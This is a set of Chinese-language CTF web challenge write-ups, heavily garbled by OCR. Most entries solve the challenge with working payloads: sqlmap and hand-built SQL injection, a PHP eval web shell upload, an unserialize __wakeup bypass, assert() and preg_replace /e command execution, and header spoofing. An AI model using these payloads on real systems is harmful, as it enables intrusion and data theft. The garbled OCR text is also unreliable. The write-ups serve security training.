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ics-05 (XCTF 4th-CyberEarth)

bug (RCTF-2015)

wif.sh-150 (csaw-ctf-2016-quals)

Get flag1
Get flag2

web2 (NSCTF)

ics-06 (XCTF 4th-CyberEarth)

BHBER: = FEHREPLWET RAEEEMRSNESE, EREEEMERT, G —-4BET T ARERIRT,
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BN G, &I index php2i Bk Zlindexphp?id=1 i LEH S48, 2RsqUENTR, FHRE— ¥R,
JR0kidZEid=2333, B8 3flag.

i ‘ ntruder attack 2 -

Attack Save Columns

x

J Results I Target I Paositions I Payloads I QOptions ]

‘ Filter: Showing all items

.g|

Request | Payload | Status | Error | Timeout | Length v | Comment
2334 2333 200 O O 1901
0 200 O O 1866
1 0 200 @] @] 1866
2 1 200 O O 1866
3 2 200 O O 1866
4 3 200 O O 1866
5 4 200 O O 1866
8 7 200 @] @] 1866
9 8 200 O O 1866
10 9 200 O O 1866
1 10 200 @] @] 1866
13 12 200 O O 1866
14 13 200 O O 1866
12 11 200 @] @] 1866

]

e [Fempore

Raw | Headers | Hex HTMLIRender]

N:

</[script>
</body>

</html>

cyberpeace{1a7941292b18a62e1e5065d879c3dc9e)

NewsCenter ( XCTF 4th-QCTF-2018)

1. EANSE, B ERE, NEs:

POST / HTTP/1.1

Host: 111.198.29.45:58328

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xmlapplication/xml;q=0.9,*/*;,q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Referer: http://111.198.29.45:58328/

Content-Type: application/x-www-form-urlencoded

Content-Length: 10

Connection: close

Upgrade-Insecure-Requests: 1

search=123

2. RBE serch ATEAR, ZidsqiEN. KR SCRE TR, Msqimapifl—T, RKIWAUEHEHLER.




(1) python2 sqlmap.py -r 1.txt --dbs

[ 1 [ ] fetching database names
available databases [2]:

[*] information schema
[*] news

(2) python2 sqglmap.py -r 2.txt -D "news" -T "secret_table" -C "fl4g,id" --dump

[ ] [ | fetching entries of column(s) 'fl4g, id' for table 'secret table' in database 'news'
Database: news
Table: secret_table

1L ] table 'news.secret table' dumped to CSV file 'C:\Users\YXJ omputer\. sqlmap\output\111. 198. 29. 45\du
ews\secret table. csv'
1 [ 1 fetched data logged to text files under 'C:\Users\YXJ omputer\. sqlmap\output\111. 198. 29. 45"

[*¥] ending @ 23:30:26 /2019-05-02/ https://blog.csdn.net/qq_42181428

%€ 1] :
REBRTFBAMMR, R AEEE flag SN FBREMRE:

python2 sqgqlmap.py -r 2.txt -D "news" -T "secret_table" -C "fl4g" --dump

Parameter: search (POST)

Type: UNION query

Title: Generic UNION query (NULL) — 3 columns

Payload: search=123" UNION ALL SELECT NULL, CONCAT (CONCAT (' qgkaq', 'vvIrAdZPyMyCbS0JTgUbVOnivbMBieHDoFAFmACG'), 'qjvbq’
), NULL—— gMtC

[ 1 1
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back—end DBMS: MySQL 5
][ ] fetching entries of column(s) 'fl4g' for table 'secret table' in database 'news
[WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number
ies). Falling back to partial UNION technique
1 used SOL query returns 1 entry
INING] in case of continuous data retrieval problems you are advised to try a switch '——no-cast' or switch

[ G] unable to retrieve the entries of columns 'fl4g' for table 'secret_table' in database 'news'
W G] HTTP error codes detected during run:
nal Server Error) — 2 times

[ ] fetched data logged to text files under 'C:\Users\YXJ omputer\.sqlmap\output\111.198. 29. 45"

[*] ending @ 23:36:49 /2019-05-02/

RILIE sqimap F fpayload &

search=123" UNION ALL SELECT

NULL , CONCAT (CONCAT( 'qgkaq "', 'vv1lrAdZPyMyCbSOJTgUbVOnivbMBieHDoFAFMACG"), "qjvbq"'),NULL-- gMtC
EREREEE, FEENMZERGERNEATFRESREAFRLEERNEHE.

{B R [F &) flag A id

lottery (XCTF 4th-QCTF-2018)



TP E SeiE M, )5 RKIMagil L. BEREELRERSLHNE, CABTHRE, FPRLEEE, RENESEL,
PR ZAE KRR I B T — R .

Lottery! Home Buy Account Claim Your Prize whooper $18 Logout

Buy a lottery!

People are winning fabulous prizes every day. You could win up to $5000000!

Play to win!

Rules

e Each starter has $20

® Pay $2, and select 7 numbers. Comparing with the winning number:
® 2 same numbers: you win $5

® 3 same numbers: you win $20

® 4 same numbers: you win $300

e 5 same numbers: you win $1800

® 6 same numbers: you win $200000

e 7 same numbers: you win $5000000

1. B B3 robots.txt , fF1E .git M.

User—agent:
Disallow: /.git/

2. MAIEGitHack, 752 :




3. BATAIEE I, W IAE api.php K buy BB XA RSt R AR T R B A -

function buy($req){
require_registered();
require_min_money(2);

$money = $_SESSION[ 'money'];
$numbers = $req[ 'numbers'];
$win_numbers = random_win_nums(); // K515 H FEPLET R ZAE
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){ //BZEMHH)' =="55H ERHAB#F— /4 EEHTH
$same_count++;
¥
¥
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
¥
$money += $prize - 2;
$ _SESSION[ 'money'] = $money;
response([ 'status'=>'ok"', 'numbers'=>$numbers, ‘win_numbers'=>$win_numbers, ‘'money'=>$money, ‘prize'=>$prize]);

}

o Hrf gnumbers RHEHFF json #i\ {"action":"buy","numbers":"1234567"} , A A HHEISHL,
o ISR $win_numbers RBENLAE RIS FRFE .
o HWrZEM K Z PHP 352 BIM B LR, HtEFsE, LA 1 Af), 1 TRUE, 1, "1" #HE,

(4) BT json ZEA/RBIEHE, FAT AR,
MBI T

POST /api.php HTTP/1.1

Host: 111.198.29.45:32513

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv.66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/javascript, */* q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Referer: http://111.198.29.45:32513/buy.php



Content-Type: application/json

X-Requested-With: XMLHttpRequest

Content-Length: 36

Connection: close

Cookie: PHPSESSID=184df9fa0ea6c9305508a431aba10b7c

{"action":"buy","numbers":"1234567"}

BB IEZ )G

POST /api.php HTTP/1.1

Host: 111.198.29.45:32513

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv.66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/javascript, */* q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://111.198.29.45:32513/buy.php

Content-Type: application/json

X-Requested-With: XMLHttpRequest

Content-Length: 36

Connection: close

Cookie: PHPSESSID =184df9fa0ea6c9305508a431abal0b7c

{"action":"buy","numbers":[truetruetruetruetruetruetruel}

Rt E, ARBEHWSHEREEHRE, BRMSHIW ture RESTIHAMNY , X RBEEHLEARO, HORRIDHIW .
RHEZREJLK, BT LLBRE 2% K ERIE Xflag T :

Here is your flag: xctf{249ca18d8fabdece609833f728b1e9fc}

All items

Flag

$9990000

On Sale
buy the flag if you can

Buy

NaNNaNNaNNaN-Batman (tinyctf-2014)



HES T A, RillR—BJavascriptild, HERA KGR, BEE CHIRETITR —MaAEN — MR % .

| O

<script>

_="function $(){e=getEleById("c").value;length==16"be@f23233ace98aa$c7be9){tfls_aie}na_helnrg{e 0iit\' ns=[t,n,r
,i];for(0=0;0<13;++0){ [0]);.splice(0,1)}}} \'<input id="c">< onclick=$()>0k</>\"');delete _var ","docu.)match(/"
1;/)'=null=[" write(s[o%4]buttonif(e.ment";
for(Y in $=" ') with(_.split($[Y]))_=join(pop());
eval(_ )
</script>

1. BHEKBIEH eval(L) BN console.log(_) » FFAMIKEER LKIZHGBITXBAN, RALE _ R ERE:

N O=s% Desa OFks (atsEs Que Omns NRE B &% f TEsHis @ HackBar 0] =
W ¥V imsaw [mE
» Flm(t)on $(){e=getEleByTd("c") value; length==16"be0f23233aceoBaatc Tbeo ) {tf1s_aie}na_holnrg{e 01it\' ns=[t,n,r,i];for(0=6;0¢13;++0){ [6]);.5plice(6,1)}}} \'<input id="c">< onclick=§()>0k</>\");delete var ", "docu.)match(/"];
ull=[" write(s[o%4buttonif(e.ment’;for(Y in $=' 'yuith(_.split($[¥])) =join(pop());console.log( );
E(){va document . getElementById("c").value;if(e h==16)if(e.match( 23/)!=null)if(e.match(/233ac/) ! =null)if(e.match(/e98aa$/) ! =null)if(e.match(/c7bed/)!=null){var

debugger eval code:1:378
t=["f1","s_a"

e}"];var n=["a","_hel","n"];var r=["g{","e"," 6" J;var i=["it'"," ","n"];var s=[t,n,r,1];for(var 0=0;0¢13;++0){document.urite(s[o%4][@]);s[o%4].splice(®,1)}}}document. urite( ' <input
id="c" >(hutt0h i

k=$()>0k</button>");delete _

function $()

{
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/~be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa%$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_hel","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var 0=0;0<13;++0)
{
var a=document.write(s[o0%4][0]);s[0o%4].splice(0,1)
¥
¥
¥
document.write('<input id="c"><button onclick=$()>0k</button>");
delete _

2. AR, HElR7EWeb100, R AE— T 46 B H A HE B\ B0 (B 2439 2 T I AN 214 B0 A 4 Be AT T T KA

if(e.length==16)
if(e.match(/~be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa%$/)!=null)
if(e.match(/c7be9/)!=null)



o EINWIZRF B KE MBI N16NFZR
o FRFEMITF N IEILA beaf23
o FRIEMSENFEILH e98aa

o FFEPEEEILHLE] 233ac Al c7be9

FAMRH T 7R B K E, Hibix B ERHESRWEKE N6 B R E ENRERKFZHFE.
W& T: beof233ac7be98aa

3. ¥ L—PWEN TR RZBMANMAES, FEflag.

belf233ac7be%8aa Ok

flag{it's a hOle in One}

unserialize3

1. BATFHAMER—ERFIIMKEE, TIFMuEE

class xctf{
public $flag = "111";

public function wakeup(){
exit('bad requests’);

}

?code=

2. BiZRBRFHMEN: 0:4:"xctf":1:{s:4:"flag";s:3:"111";}
YT FET ER AT _ wakeup() RS, TXEHAEFEST _ wakeup() HE, JAIT cveE-2016-7124 R&eIT, R EH
FHWFFF R RN R B HEANBE R T EER BN BT 2B wakeup AT .



3. m#&AWpayload: ?code=0:4:"xctf":2:{s:4:"flag";s:3:"111";}

the answer is : cyberpeace{f92ffef22ab09a924c23785bb827c09a}

upload

1. #ANEBH, B—ALfeFfm, BRAREEEA.

111.198.29.45:33656 B~
TEEE—SKE R S %!

WE

2\

o

ANRBIEY, B AL shell.jpg, BurpSuiteIMBMEZ N .php -

POST /index.php HTTP/1.1

T

HTTP/1.1 200 OK

Host: 111.198.29.45:33656 Date: Fri, 03 May 2019 12:30:15 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Server: Apache/2.4.25 (Debian)

Accept: text/html,application/xhtml+xml,application/xml,q=0.9,*/*,q=0.8 X-Powered-By: PHP/5.6.37
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Vary: Accept-Encoding

Referer: http://111.198.29.45:33656/ Content-Length: 960

Content-Type: multipart/form-data; boundary= 18467633426500 Connection: close

Content-Length: 221 Content-Type: text/html; charset=UTF-8

Connection: close
Upgrade-Insecure-Requests: 1
upload success : upload/1556886615.shell.php

18467633426500 <!Doctype htmi>
Content-Disposition: form-data; name="upfile”; filename="shell.php" ~ <html>
Content-Type: image/jpeg <head >

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php @eval($ POST[ pass']);?>
18467633426500-- <script type="text/javascript” >

Array.prototype.contains = function (obj) {
var i = this.length;
while (i--) {
if (this[i] === obj) {
return true;
)
}

return false;




3. &E#Eshell, £ L—REFEKI flag.php -

flag.php index.html index.php install.sh upload

R O=s Oewa Ok Ormes Onss T NRs Bei 7w aEsiE @ Hacksar
Encryption + Encoding~ SQL ~ XSS~ Other ~ Chrome BackBar
g Load URL http://111.198.29.45:33656/upload/1556886615.shell.php
yul Split URL

E It
D) Byecute Postdata [ Referrer [J User Agent [] Cookies

pass=system('cd ..;Is");

4. FAEN pass=system('cat ../flag.php'); , TEJRISEEHflag.

{?php
$flag="cyberpeace {al864cd57dd233c551662b1c7e043500} " :
2>

mfw (csaw-ctf-2016-quals)



1. #HANRH, 7£ About WHEZHMAEEMA T cit, HiELAMERWINFE cit M#FE, FIHGitHack TASEIRRD

Project name Home  About  Contact

About

| wrote this website all by myself in under a week!
| used:

o Git
« PHP
» Bootstrap

2. JRIBEA flag.php XM, HEBEIEAflag, R T, 7E index.php BRILT WK,

<?php

if (isset($ GET[ 'page’
$page = $_GET['page’
else

$page = "home"

$file = "templates/" $page ".php"

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"

assert("file exists('$file')") or die("That file doesn't exist!"

?>
html code
<?php
require_once $file
?>

3. R assert() BEE, FRATTIEMSE $page , MAFEAHITIIE, assert() BRERIEW S 2B EXSHMBEREN
PHPAHS .

F kg Fpayload: ') or system('cat ./templates/flag.php');//



i, EANEREARART

assert("strpos('templates/ ') or system('cat ./templates/flag.php');// .php',

hacking attempt!");

// JETH KB N BEERER T

B Zlflag:

<html>
<head>

I N =2 I | I - T L%

PHP2

1. #EANEHE, FEaT:

Can you anthenticate to this website?

{?php $FLAG="cyberpeace {9edb6204a2df4af425ab9de5216df40f} " ;

{meta charset="utf-8">
{meta http—equiv="X-UA-Compatible” content="IE=edge”>
{meta name="viewport” content="width=device-width, initial-scale=1">

'..') === false") or die("Detected

2>

YELE, BRRTRATATF, BREBIRVIH index.phps TH, WRABEN, ERHLHFBEEIMTA...

2. Vil index.phps & 30 FIED .

<?php

if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();

¥

$ GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")

{

echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";

?>



3. BRI, WS E I E NS BT T 5 urldecode , B R ESHE AN admin TP IR urlencode .
Hitpayload: index.php?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

Access granted!
Key: cyberpeace{b49d1548b01a6db347202dd54633edf9}

Can you anthenticate to this website?

FlatScience (Hack.lu-2017)

1. BES1U5I robots.txt TH, KIIERTH /login.php Fl /admin.php FIANTH .

Login

Login Page, do not try to hax here plox!
ID:

Password:

Submit

Flux Horst (Flux dot Horst at rub dot flux)

2. 7E login.php FF12KI:
{!=— TODO: Remove ?debug-Parameter! ——>

F R 2debug 7T LB BIUERD T -



<?php
ob_start();
?>

<?php

if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];

$db = new SQLite3('../fancy.db');

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".shal($pass."Salz!").
miny.
if($res){
$row = $res->fetchArray();
¥
else{
echo "<br>Some Error occourred!";
¥

if(isset($row['id'])){
setcookie('name'," '.$row[ 'name’'], time() + 60, '/');
header("Location: /");
die();

¥
if(isset($_GET[ 'debug']))

highlight file('login.php');
?>

HE R A HIE R

SELECT id,name from Users where name='$id' and password='shal($pass."Salz!")"

B POSTE WusrilpwSE, A BAEMITIE, #HAsqE#H. HEHKLERidEBEA AN, NIATsetcookietfE, K&K
2k B name - B3 A\ Flcookie F .

EREAITHE $user RATHER), Bllogin i Hid AMEFKIAZ, BT DB E ARG RIS AR, X TR LT
Ao

upload (RCTF 2015)

1. ZFATHERIR —ANERAE, FMKS#HEZER—ALETRE, N2 ES S RE I AR EAR
B uid »

‘File lethe.jpg has been uploaded from 123and uid is:1661

SR 5 P 18] B _E A% U R BUR_EAE ISR 2 BonfEE b, X AR OLAIRTR R 4 S BixssBUE B HIEN, BEE TR
M, RIXHBTEG]SERF TP L, FHER T xss,



FF Hi@ L BB K SO T AAIWT, 1438 T select, from SXREIA CGEAGWESE) , XFERLIIH T A AL BATIEAN.
2. EATUAMMTTR, BRAMBREHMOHENUBIRNEHE CGERfEwriteupt) .

() BERAMERK LG, REEERBUENE & Minsertil A iE4):
insert into #4&('filename',...) values('#RLEAEHIXHL",...);

XHERT DAMY & 3 SO A AT RN -
X4 ' +(selselectect conv(substr(hex(database()),1,12),16,10))+".jpg

BHEE 5 FIsqliB Al
...values(' X4 " '+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg',...);

o IXH hex() BB FIRFHHEHAN16E], T conv(str,16,10) MK streh 1634 H] 5 #9103 )
o RIEFMT mysqliIFa KA FEH#e, HSCHlR ST/ SREMMN, S I3FRBoRERE, fli:

mysql> select 'l12as'+89;

1 row in set, 1 warning (©.8@ sec)

o TZHTLLEZEME substr() REVHEMK FHFHRNKE, ¥HEA103HB AR A ILEERER, ZHERERIMNEERE#R
NFRFERT, FLFEH substr() REKFRF B BOFITEM.

LS. | SREESUHE,

submit
131277325825392
131277325825392
131277325825392
131277325825392
1.8446744073709552e1 9_]

MR, AT —S AR Eflag T .
4 #fpayload:

(1) BEHBEEE:

lethe '+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg
p4CIH

131277325825392 #16#HIHHEFR15: web_up

lethe'+(selselectect conv(substr(hex(database()),13,12),16,10))+'.jpg
IR E :
1819238756 16| HiFR1E: load



PrEE RS AN B B 42 24 cweb_upload

(2) REER:

lethe'+(seleselectct+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_sch
ema = 'web_upload' 1limit 1,1)),1,12),16,10))+"'.jpg

IR E]

114784820031327 #16##|HHEFRB: hello_

lethe'+(seleselectct+conv(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCH
EMA = 'web_upload' 1limit 1,1)),13,12),16,10))+"'.jpg

IR H] :

112615676665705 5163t BiFRF4: flag_i

lethe'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCH
EMA = 'web_upload' limit 1,1)),25,12),16,10))+"'.jpg

R [E

126853610566245 #16#HIHE TR E: s_here

PHERRBMFERFlagiR LK hello_flag_is_here
G)RBFERXNREFMH4FEK:

lethe'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_N
AME = 'hello_flag is_here' limit 0,1)),1,12),16,10))+'.jpg

R [E

115858377367398 #16i#tHIHHEFHE: i_am_f

lethe'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_N
AME = 'hello_flag _is_here' limit 0,1)),13,12),16,10))+'.jpg

R [E

7102823 163t BT lag

PHERERBNERflagf B R :i_am_flag
(M)REE#flag:

lethe'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello flag is_here limit 0,1)),1,12),16,10
))+'.Jpg

IR

36427215695199 16t H|HEFEAFA: 1!1_@m_

lethe'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello flag is_here limit 0,1)),13,12),16,1
0))+".jpg

IR [H] :

92806431727430 #16HH| B FE: Th.e_F

lethe'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello flag is_here limit 0,1)),25,12),16,1
@))+".jpg

p4CTH

560750951 #163tH|BHEFAE: |lag

Ptk 58 %Iflag: !!_@m Th.e Fllag

@FE=MAFR, WREELBHETRNENEES, IMBREET, EMRKREAWFESH TRILEMN: (filename,uid,uid)
Yo b= XMHBRE B O uid

XA AT DAL i

X4, 'uid', 'uid'), ((database()), 'uid', 'uid" )#.jpg



PrEEE N

...values ('XXf4"','uid','uid'), ((database()), 'uid', 'uid')#.jpg ', 'uid','uid");
B

...values ('Xf#4"','uid','uid'), ((database()), 'uid', 'uid")
XEEREAMRERESSEA—F], X P TEANT .

ffpayload: lethe','1665','1665'), ((database()), '1665", '1665")#.jpg

BRI | RIS
submit

lethe
web_upload

B % payload: (Ffuid~1665)

(1) BERE
lethe', '1665", '1665"), (( selselectect group_concat(table_name) frfromom information_schema.tables where table_sc
hema = 'web_upload'), '1665','1665")#.jpg

(2) #3|%
lethe', '1665", '1665"), (( seselectlect group_concat(column_name) frfromom information_schema.columns where table_
name= 'hello_flag is_here' ), '1665", '1665")#.jpg

(3) &Eflag
lethe', '1665", '1665"), (( seselectlect i_am_flag frfromom hello flag is here), '1665"', '1665" )#.jpg



Upload page - Welcome lethe0

Logout

file list(<10 files)

R RIS

submit

lethe o flag

I @m_Th.e Fllag

lethe 4

. . & 'g\’. f/f
files|hello flag is_here|members
i_am_flag -~

lethe pesd

cat (XCTF 4th-WHCTF-2017)

1y BT, RRERBATT AR FHBEATER, T

Cloud Automated Testing

AANRAYEE, FIa0: loliclub
Submit

2. PRA—T A AR

e IE® URL, iR[H ping &5
e JE¥E URL. F#EERFS, iR[H Invalid URL

3. XHEDjangolHiRERITH T, KIMWMBEMNEFEC T ugmG, 7E 2url= FIERKTF %7F BEFFER 2 iE BDjangok 44 «



4. TEurld ¥ Purl=%80 7] LA15 B4R 45 T :

Cloud Automated Testing

ANIRAYEE, a0 loli.club
Submit

<!DOCTYPE html>
<html lang="en”>
<head>
<meta http-equiv="content—type” content="text/html; charset=utf-8">
<meta name="robots” content="NONE, NOARCHIVE">
<title>UnicodeEncodeError at /api/ping</title>
<{style type="text/css”>
html * { padding:0; margin:0; }
body * { padding:10px 20px; |
body #* #* { padding:0; }
body { font:small sans—serif; }
body>div { horder—hottom:lpx solid #ddd; }

hl { font-weight:normal; }

h2 { margin—bottom:.8em; }
h2 span { font-size:80%; color:#666; font-weight:normal; }
h3 { margin:lem O .5em 0; }
h4 { margin:0 0 .5em 0; font-weight: normal; }
code, pre { font—size: 100%; white—space: pre—wrap; !
table { border:lpx solid #ccc: border—collapse: collapse; width:100%; background:white; }
thody td, tbody th { vertical-align:top; padding:2px 3px; }
thead th {

padding:lpx 6px lpx 3px; background:#fefefe; text—align:left:

font—weight:normal; font—size:1llpx; border:lpx solid #ddd;
1
Iy
thody th { width:12em; text-align:right; color:#666; padding-right:. Sem; }
table. vars { margin:5px 0 2px 40px; }
table. vars td, table.req td { font—family:monospace; }

5. MEERIEFEL, KB T, WURIAFHRELR:

Environment:

Request Method: POST

Request URL: http://127.0.0.1:8000/api/ping

Django Version: 1.10.4
Python Version: 2.7.12

A ReRA AR, & .php KITUE, 03 python H django debug #5i%, FTLA, HIWT & —APHPEFHPythonfi .
b ZERT A T 3R7R: RTFM of PHP CURL===>>read the fuck manul of PHP CURL???

Jit VAR % & PHP i@ id cCURL [l django 3 A& R diE, AR AL 2 58 F K Hodf A% [B



#HE— FCURLmanul :

CURLOPT_SAFE_UPLOAD TRUE 2] @ HIZ3{E CURLOPT_POSTFIELDS /2153 {4, & PHP 5.5.0 &Fi70, EAIA(E FALSE,
e @ SJLMIFERSRLEEA T, Tl CURLFile £/ PHP 5.6.0 2Z2KA(E0 TRUE, . PHP
HERRE, 7 #ps 7 tbiskIm,  wsmisEr
CURLFile interface & H&ES4,

BIfEA @ AT SCIFARIE, WMRXMHFARPE LR HREEEN TR, e EREEE, Eh EaEhRakE.
6. TRMASLENIA KRS S RRKE R BA LLBRRIE B, SHBEREEMRE, BRKEHA sql, WLEE:

{tr>
<td>DATABASES</td>
<td class="code”><pre> {&#39;default&#39;: {&#39:ATOMIC REQUESTS&H#39;: False,
&E39; AUTOCOMMITER39; © True,
&#39; CONN_MAX AGE&#39;: 0,
&#39;ENGINE&#39: : &#39:django. db. backends. Bglli te3&#39:,
&#39;HOST&E39; : &#39;&439;,
&#39:NAME&#H39; : &#39;/opt/api/database. sqlite3&#39;,
&#39;0PTIONS&#39;: {},
&F39; PASSWORDEEZY ; : u&d39 ; seisiickasicloleesickeisiatgH 39 ;|
&#39;PORT&E39; : &#39;&#39;,
&£39; TEST&#E39; : {&#39;CHARSET&#39; : None,
&#39; COLLATION&EZ39; : None,
&#39;MIRROREE39; : None,
&#39;NAME&#39; : None}
&839:TIME ZONE&H39:: None
&#39;USER&#H39; : &#39;&#39;}} (/pre></td>

7. TRIER 2url=@/opt/api/database.sqlite3 , X RIS E, EHREEE B HERREA ctf HALE Flfag.

)0\x00'x004x00"\x1c \x01\x02AWHETE {voooo Such A GOOD @} \n&=39;</pre></td

ics-05 (XCTF 4th-CyberEarth)



1. ARG RURKE ST 2B AR, RERLSEP PO MIEEA AL, KIul®BE T index.php?page=index ,
Ft B U & ERindex.

=ESIREMEFRG

index

2. FTeERHaEE, BH HAKpayload T :
?page=php://filter/read=convert.base64-encode/resource=index.php , baseb4fRi 5152 JRY:

<?php
error_reporting(9);

@session_start();
posix_setuid(1000);

?>

<?php
$page = $_GET[page];
if (isset($page)) {

if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">

<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<?php
telse{
?>

<br /><br /><br /><br />
<div style="text-align:center">



<p class="lead">
<?php

if (strpos($page, 'input') > @) {

die();

}

if (strpos($page, 'ta:text') > 0) {
die();

}

if (strpos($page, 'text') > @) {
die();

¥

if ($page === 'index.php') {
die('0Ok");

¥
include($page);
die();

?>

</p>
<br /><br /><br /><br />

<?php

1}

//@-2i%¢ 3,405 c7 %G
Yeu«“atecs, aSVess, @ £ae A%EA ‘4. &, aSVefsivea 2efuat

6f 78223 Tauce e
if ($_SERVER['HTTP_X_FORWARDED FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $ _GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);

telseq{
die();

?>

3. fajB it — TR, HERERE—HD:



B R E s X-Forwarded-Fory127.0.0.1.

RIGELIGETHEEN pat « rep~ sub =ENSE, X=EANSEHME D BIVEN preg_replace() BHHIZS
% preg_replace($pattern, $replacement, $subject) , pattern NEHRIIMBIN, replacement JFH T & i =R & 5k
FREBHA, subject BT R B B T/ 5B B R 8B B4

pattern SRl UL il —&PCREBMifF, H:
e (PREG_REPLACE_EVAL)
Warning This feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.

WEIGE 7IXMEEREIST, preg_replace() R T Y XTI 115 | AER 5, HEIRENFRIEBPEAphp (BEHSHhT
(eval REATL), FHERRITER (EALRESSEHIRNTHE, 1515, WEIS. Rt NULL =/ BE5 | BEInE =i Ahkris
LIS

Bl /e BIERFME preg_replace() ¥ replacement Z#(%1E PHP %

4. XBEBRMN=ASHEE, Batidpayload: ?pat=/Lethe/e&rep=system(’cat
s3chahahaDir/flag/flag.php')&sub=Lethe , [} {hi&EX-Forwarded-For, BPF[E ElflagfEdFgH .

P {SCr1pT type="Ttext/Ntml" 1d="SW1TtChIpLl">.<{/sCripts
<script src="layuiflayui.js" charset="utf-8"></script>
¥ <scriptr.d fscripts
P <scriptiad/scripts
<br>
"Welcome My Admin ! " == 28
<br>
%1 --2php

$flag = "cyberpeace{da%sacfe73decl54294eb564776453c]"

o=
</ body >

bug (RCTF-2015)

1. BATHEE LK EHEREM—NHEFP, BR#EZE, KPManageThit R A adminiik - 4 GE 15 19 -

Sorry, You are not admin!




2. ERER T BREAEM AL, BT LSS EM R A Username. BirthdayfIAddressi#E 4T #1430 [E, 7 H SIS LRI
& Personal R H < B avEMB KIERS, Bulh&F K S Mud, ZHilRudSch, KIAHARTLL...

Mo permission!

3. TRMMAKEZELINEEN B ORK#THENLRE, MAERKGEE (PERA=EMEBEREZERHRD, B MEEED
T, TRZRT XradminiBirthday# 17488, EMTLR..D , ERBAEEEEND T TE:

Yes.You are Lethe

Newpwd

RIEMANBEBH R FELFINE, 2R Username Hadmin, KILELD):

POST findex.php?module=findpwd8&step=28&doSubmit=yes HTTP/1.1

Host: 111.198.29.45:39430

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xmlq=0.9,*/*:¢=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;,q=0.2
Referer: http://111.198.29.45:39430/index.php?module=findpwd&step=18&doSubmit=yes
Content-Type: application/x-www-form-urlencoded

Content-Length: 25

Connection: close

Cookie: PHPSESSID=7t145pemhkpk1I5torlqvcivr4

Upgrade-Insecure-Requests: 1

N
,

1

HTTP/1.1 200 OK

Date: Sun, 11 Aug 2019 15:01:13 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-Tubuntu4.26
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 227

Connection: close

Content-Type: text/html|

<!DOCTYPE htmi>

<html>

<head>
<title>Message </title>
<meta charset="UTF-8" />

</head>

<body>

<script>alert('Reset

successfully! |"); </script> <script>window.location.href="index.php’ </script> </body > </html>



4. ZRadmink 5, VjHmanagerBfEE R IP Not allowed!

s FEXXFEhE H127.0.0.1)5 BP AT

GET /index.php?module=admin HTTP/1.1

Host: 111.198.29.45:39430

User-Agent: Moxzilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xmlapplication/xml;,q=0.9,*/*,q=0.8

